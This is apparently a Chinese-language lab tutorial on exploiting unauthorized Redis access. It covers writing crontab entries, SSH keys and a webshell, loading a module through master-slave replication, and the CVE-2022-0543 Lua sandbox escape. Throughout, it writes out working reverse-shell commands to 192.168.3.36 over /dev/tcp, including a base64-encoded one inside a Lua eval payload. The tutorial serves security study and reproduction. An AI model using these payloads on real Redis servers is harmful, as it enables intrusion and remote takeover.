文章目录
- 1、通过写文件getshell
- 1.0 通过crontab定时任务进行反弹shell介绍
- CentOS (本次测试使用CentOS 7)
- Ubuntu(本次使用Ubuntu 18.04.4)
- 1.1 写crontab定时任务进行反弹shell
- 1.2 写入ssh公钥
- 1.3 写入webshell
- 2、通过主从复制getshell
- 2.1 Redis主从复制
- 2.2 Redis扩展模块
- 3、Redis Lua沙盒绕过命令执行(CVE-2022-0543)
- 参考
1、通过写文件getshell
1.0 通过crontab定时任务进行反弹shell介绍
在对Redis未授权访问进行利用前,先了解一下在常见的Linux发行版环境下,通过crontab定时任务来执行反弹shell的相同点和不同点。
CentOS (本次测试使用CentOS 7)
可以在以下文件夹内找到相关配置文件。
- /var/spool/cron/ 目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名;
- /etc/crontab 这个文件负责调度各种管理和维护任务。
- /etc/cron.d/ 这个目录用来存放任何要执行的crontab文件或脚本。
- 还可以把脚本放在/etc/cron.hourly、/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly目录中,让它每小时/天/星期、月执行一次。
CentOS 7 环境下,定时任务的执行日志可通过 /var/log/cron 文件查看.
在 /var/spool/cron
目录下,名字为root或其他用户名,不同的用户名,执行命令就是以那个用户身份去执行的,示例如下:
* * * * * bash -i >& /dev/tcp/192.168.3.36/443 0>&1
定时任务的命令执行结果如下,以root身份执行了反弹shell命令:
如果将文件名改为另一个用户名fa1c0n,则会以fa1c0n身份执行反弹shell命令:
如果是在 /etc/cron.d/
、/etc/cron.hourly
、/etc/cron.daily
、/etc/cron.weekly
、/etc/cron.monthly
目录中这些目录中创建定时文件,则任意文件名都可以,但定时任务内容里要写上用户名,表示由谁来执行定时任务,如下:
* * * * * root bash -i >& /dev/tcp/192.168.3.36/443 0>&1
或:
* * * * * fa1c0n bash -i >& /dev/tcp/192.168.3.36/443 0>&1
定时任务文件 /etc/cron.d/note.txt 中指定了由root用户来执行反弹shell命令,结果如下:
改为由用户fa1c0n来执行命令:
结果如下:
Ubuntu(本次使用Ubuntu 18.04.4)
相比CentOS,Ubuntu在这方面更为严格。在Ubuntu下,在定时任务文件的目录在/var/spool/cron/crontabs/
(放在/etc/cron.d 目录无法执行命令,原因不详),文件名也是需要为用户名,但与CentOS不同的是,文件的权限需要是600
才可以正常执行。这个可通过查看syslog可知。
Ubuntu下,查看cron的日志,除了/var/log/syslog外,还可以开启cron日志记录(Ubuntu默认不开启),开启方式是,将
/etc/rsyslog.d/50-default.conf
文件中,将cron.* /var/log/cron.log
这一行前面的注释去掉,然后systemctl restart rsyslog.service
重启 rsyslog 服务即可。
另外实测发现,反弹shell的命令需要写成 /bin/bash -c <反弹shell命令>的形式才行。而直接跟之前一样写成 <反弹shell命令> 却不行,原因不详。
* * * * * /bin/bash -c 'bash -i >& /dev/tcp/192.168.3.36/443 0>&1'
使用其他用户名也是可以的:
1.1 写crontab定时任务进行反弹shell
利用前提条件:
目标Redis进程是以root权限启动;
Redis未授权访问或授权口令已知;
【如果是较高版本的Redis,还得关闭配置保护模式】
关于redis的常用配置项可参考:
https://www.runoob.com/redis/redis-conf.html 其实也可以参考源码目录下的redis.conf 文件,里面对配置项有详细的注释。
这个方式只在CentOS里有效,因为redis默认情况下写文件是644
的权限,而前面也说过,在Ubuntu环境下,需要600
权限才可以。
所以下面以CentOS 7为例,通过Redis未授权访问漏洞,写crontab定时任务进行反弹shell。
本次测试用的Redis版本为最新的7.0.0 ,不知道之前从哪个版本开始,一些比较危险的属性默认情况下是不允许修改的,比如这里用到的dir
、dbfilename
,毕竟这已经是公开多年的攻击手法,Redis没有理由不对此进行加固。所以在较新版本中,默认情况下,如果修改上述属性,会报错:
这里为了复现老版本的漏洞,便修改了配置文件/etc/redis.conf
,将属性保护模式给关闭,如下:
修改后就可以修改dir
、dbfilename
属性了,将dir
属性指向cron定时任务的目录/var/spool/cron
,dbfilename
属性为root
。这里要注意要在写入包含定时任务命令的键值时,要再定时任务内容前后添加上若干个换行符\n
。由于save
保存时,redis会将版本信息以及其他的一些键值写入dbfilename
指向的问题,如果没有换行符\n
,则其他键值对内容会破坏定时任务的格式,导致定时任务无法被正确解析、执行,如下图:
加上换行符\n
后,就可以了 ,如下:
成功执行反弹shell:
1.2 写入ssh公钥
利用前提条件:
redis以root身份运行;
未授权访问或授权口令已知;
服务器开放SSH服务且允许密钥登录. (服务器上/<用户名>/.ssh
目录要存在)
先在攻击机上生成rsa公私钥对。
ssh-keygen -t rsa
为了写入方便,先将要写入的数据构造好存放到一个新文件中:
(echo "\n\n\n"; cat id_rsa.pub; echo "\n\n\n") > key.txt
通过Redis未授权写入ssh公钥:
cat key.txt |redis-cli -h centos7 -p 6379 -x set xs
写入ssh公钥后,便可以通过ssh直接登录了。
1.3 写入webshell
利用前提条件:
未授权访问或授权口令已知;
服务器开着WEB服务且WEB目录路径已知.
实测发现如果写jsp webshell,发现会有很多乱码。暂不知如何解决。
写php一句话倒是ok的。
2、通过主从复制getshell
利用的前提条件:
未授权访问或授权口令已知;
4.x <= Redis <= 5.0.5.
Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
如今进入云原生时代,各企业都在使用容器、kubernetes进行应用部署已成主流。这种情况下,很多时候一个redis服务部署在一个容器里,那这个容器里一般就除了这个redis服务,就没有其他服务了,包括前面提到的ssh、cron服务,故前面提到的通过写文件来getshell就不可行了。
2018年的时候老外在zeronights 2018安全会议中分享了通过redis主从复制来getshell的方法。(参考[4]
)
2.1 Redis主从复制
Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
2.2 Redis扩展模块
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。
编写恶意so文件的代码:
命令可直接回显:
反弹shell:
3、Redis Lua沙盒绕过命令执行(CVE-2022-0543)
Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。
这里使用vulhub的环境进行复现:
命令可直接回显:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
反弹shell:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMzYvNDQzIDA+JjEK |base64 -d |bash -i", "r"); local res = f:read("*a"); f:close(); return res' 0
要注意的是,不同环境下的liblua库路径不同,你需要指定一个正确的路径。在Vulhub环境(Ubuntu 20.04.4 LTS)中,这个路径是/usr/lib/x86_64-linux-gnu/liblua5.1.so.0。
参考
[1] https://paper.seebug.org/975/
[2] https://mp.weixin.qq.com/s?__biz=MjM5Njc1OTYyNA==&mid=2450775177&idx=1&sn=60f333eab252e78452f93c129c566939&scene=21#wechat_redirect
[3] https://github.com/vulhub/vulhub/tree/master/redis
[4] https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
[5] https://github.com/vulhub/vulhub/blob/master/redis/CVE-2022-0543/README.zh-cn.md
[6] https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce